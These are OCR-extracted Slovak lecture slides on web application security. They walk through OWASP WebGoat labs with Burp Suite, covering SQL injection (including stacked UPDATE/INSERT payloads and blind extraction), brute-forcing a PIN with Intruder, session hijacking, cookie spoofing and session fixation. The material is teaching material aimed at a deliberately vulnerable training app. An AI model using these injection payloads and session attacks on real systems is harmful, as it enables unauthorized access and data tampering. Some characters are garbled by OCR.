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Instalacia prostredia 1

Stiahnut a nainstalovat nasledovné aplikacie:

» burp suite free edition v1.4.01

Stiahnut burpsuite_v1.4.01.zip z http://portswigger.net
Rozbalit .zip do adresira c:/Temp

Upravit suite.bat na java -jar burpsuite_v1.4.01.jar
Spustit suite.bat

Ziskame proxy beZiacu na localhost:8080

» alternativou je OWASP WebScarab Project

v

v v vVvYy

» OWASP WebGoat V5.3

» Stiahnut WebGoat-0OWASP_Standard-5.3_RC1.7z z
http://www.owasp.org/index.php/0OWASP_WebGoat_Project

» Rozbalit .7z do adresara C:/Temp

» Spustit webgoat.bat

» Navstivit http://localhost/webgoat/attack
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Instalacia prostredia 2

» Nastavit proxy server pre prehliadace:
» Zaskrtnat volbu
Internet Options ) Connections ) LAN settings ) Use proxy server
» QOdskrtnat volbu
Bypass proxy server for local addresses
» Do nasledovnych poli zadat:
Address: 1localhost  Port: 8080
» V rozsirenych nastavenia skontrolovat prazdnost pola vynimiek

» Poznamky:
» Zda sa, ze Internet Explorer 9 ignoruje Bypass proxy for local addresses
» Pokial na porte 80 uz beZi nejaky iny server, je mozné WebGoat
sprevadzkovat aj na inom porte (./tomcat/conf/server.xml).
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Zaklady HTTP (GET request, response)

» GET request

GET /webgoat/attack HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch

Accept-Language: sk-SK,sk;q=0.8,cs;q=0.6,en-US;q=0.4,en;q=0.2
Accept-Charset: windows-1250,utf-8;q9=0.7,*;9=0.3

» Response

HTTP/1.1 401 Unauthorized

Server: Apache-Coyote/1.1

WWW-Authenticate: Basic realm="WebGoat Application"
Content-Type: text/html;charset=utf-8
Content-Length: 954

<html>...</html>

» Po obdrzani tejto odpovede prehliadac zobrazi dialégové okno pre
zadanie mena a hesla.

R. Ostertag (KI FMFI UK) Bezpeénost webovskych aplikacii (2) 4 /14



Zaklady HTTP (basic authentication)

» Po zadani hesla sa vygeneruje nasledovna odpoved:

GET /webgoat/attack HTTP/1.1

Host: localhost

Authorization: Basic Z3V1c3Q6Z3V1c3Q=

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch

Accept-Language: sk-SK,sk;q=0.8,cs;q=0.6,en-US;q=0.4,en;q=0.2
Accept-Charset: windows-1250,utf-8;q9=0.7,*;9=0.3

» Dekddovanie mena a hesla:

> proxy ) intercept ) raw

» vybrat podciarknuté

» context menu ) send to decoder
» decode as base64

Dostdvame guest:guest
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Zaklady HTTP (response with cookie, POST request)

> HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=46E4ABDC752B45CB489CBB5CBE764654; Path=/webgoat
Content-Type: text/html;charset=IS0-8859-1
Content-Length: 3774

<html>...
<form method="POST" name="form" action="attack?Screen=264&menu=100">
Enter your Name: <input name="person" type="TEXT" value="">
<input name="SUBMIT" type="SUBMIT" value="Go!">
</form>
...</html>

> POST /webgoat/attack?Screen=264&menu=100 HTTP/1.1
Host: localhost
Authorization: Basic Z3V1c3Q6Z3V1c3Q=
Referer: http://localhost:8888/webgoat/attack?Screen=264&menu=100
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
Cookie: JSESSIONID=46E4ABDC752B45CB489CBB5CBE764654
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

person=Katka&SUBMIT=Go%21
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String SQL Injection

> "SELECT * FROM employee WHERE userid = "+ userId +

" and password = ’"+ password + "’"

» Password: > OR ’1°=’1
» odstranit limit na maximalnu diZku vstupného pola

» "SELECT * FROM employee WHERE userid = "+ userId +

" and password = ’’ OR ’1’=’1’"

» Ochrana pomocou parametizovaného SQL

String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
PreparedStatement statement = connection.prepareStatement(query, ...);
statement.setString(1l, userId);

statement.setString(2, password);

ResultSet answer_results = statement.executeQuery();
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Numeric SQL Injection

Prihlasit sa ako pouzivatel Larry Stooge s heslom larry

» odchytit ViewProfile pre Larry Stooge

POST /webgoat/attack?Screen=61&menu=1200 HTTP/1.1
Host: localhost

Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=64D654CDF1384E9F54F175928746838E

employee_id=101&action=ViewProfile
» URL encode: 101 or 1=1 order by salary desc
» ziskanym retazcom nahradit podciarknuté

» odoslat
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Blind Numeric SQL Injection

> 101 AND ((SELECT pin FROM pins WHERE cc_number=’1111222233334444’) > 1000)
> 101 AND ((SELECT pin FROM pins WHERE cc_number=’1111222233334444°) = 1000)
> odchytit

» context menu ) send to intruder

» clear all payload markers

» vybrat 1000, add

» payloads ) numbers

» from 2360 min digits 4, to 2370 max digits 4, step 1, min/max
fraction 0

» options ) grep ) match ) Account number is valid.
» intruder ) start attack
> Heslo je 2364
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Blind String SQL Injection

> "SELECT * FROM user_data WHERE userid = " + accountNumber

> 101 AND (SUBSTRING(
(SELECT name FROM pins WHERE cc_number=’4321432143214321°),

1, 1) = °J%)
> 2, 1) = ’i’)
> 3, 1) = °1%)
> 4, 1) = 1)
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Modifikacia a pridavanie zaznamov pomocou SQL Injection

» Modifikacia zaznamov pomocou SQL Injection

» PouZijeme ; na oddelenie prikazov
> 7, UPDATE salaries SET salary=9999999 WHERE userid=’jsmith

» Pridavanie zdznamov pomocou SQL Injection

» PouZzijeme ; na oddelenie prikazov
» ’; INSERT INTO salaries VALUES (’cwillis’, 999999); --
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Hijack a Session

» Session cookie sa da lahko predikovat
> Prva Cast s sekvencné Cisla

» Druha cast st milisekundy

» Odhytit request na Hijack a Session
» Odstranit WEAKID=. ..

» send to repeater

» Aby nebolo nutné hadat milisekundy:

» Kazdy 29. pokus, sa preskodi jedno session ID
» Preskocleny identifikator sa zobrazi v odpovedi
» Pomocou neho sa potom da prihlasit do cudzej session
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Spoof an Authentication Cookie

Utoénik méZe obist autentifikaént kontrolu

>
» V tomto pripade je autentifikacna cookie vypocitatelnd dtocnikom
» Pre pouzivatela webgoat:
AuthCookie=65432ubphcfx
> Pre pouzivatela aspect:
AuthCookie=65432udfqtb
» Ak( autentifika¢ni cookie bude mat pouzivatel alice?
» Cookie sa tvori zretazenim 65432 s otoCenim mena a posunutim

jednotlivych pismen na dalSie pismeno v abecede.

v

Prihlasit sa ako napr. pouzivatel webgoat, heslo webgoat

\4

Odchytit request na Refresh
Zmenit AuthCookie=65432ubphcfx na 65432fdjmb

Odpoved pride uz akoby bol prihlaseny pouzivatel alice

v

v
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Session Fixation

» Po autentifikacii nedochadza k zmene session

» Utocnik tak m6Zze vyntit pouzitie nim zvoleného session ID

» 1. krok: Priddme &SID=FixThis na koniec linky v e-mailove] sprave
» Windows FIX: treba zmenit aj ¢ast URL z WebGoat na webgoat

. krok: Kliknit na Goat Hills Financial, zafixuje sa SID (vid. URL)
. krok: Jane sa prihlasi s heslom tarzan

. krok: Pri prihlasovani Gtoc¢nik vidi, Ze jeho SID=NOVALIDSESSION
. krok: Uto&nik zmeni svoje SID z NOVALIDSESSION na FixThis

. krok: Po odoslani URL vidi v prehliadaci tdaje prihlasenej Jane

v
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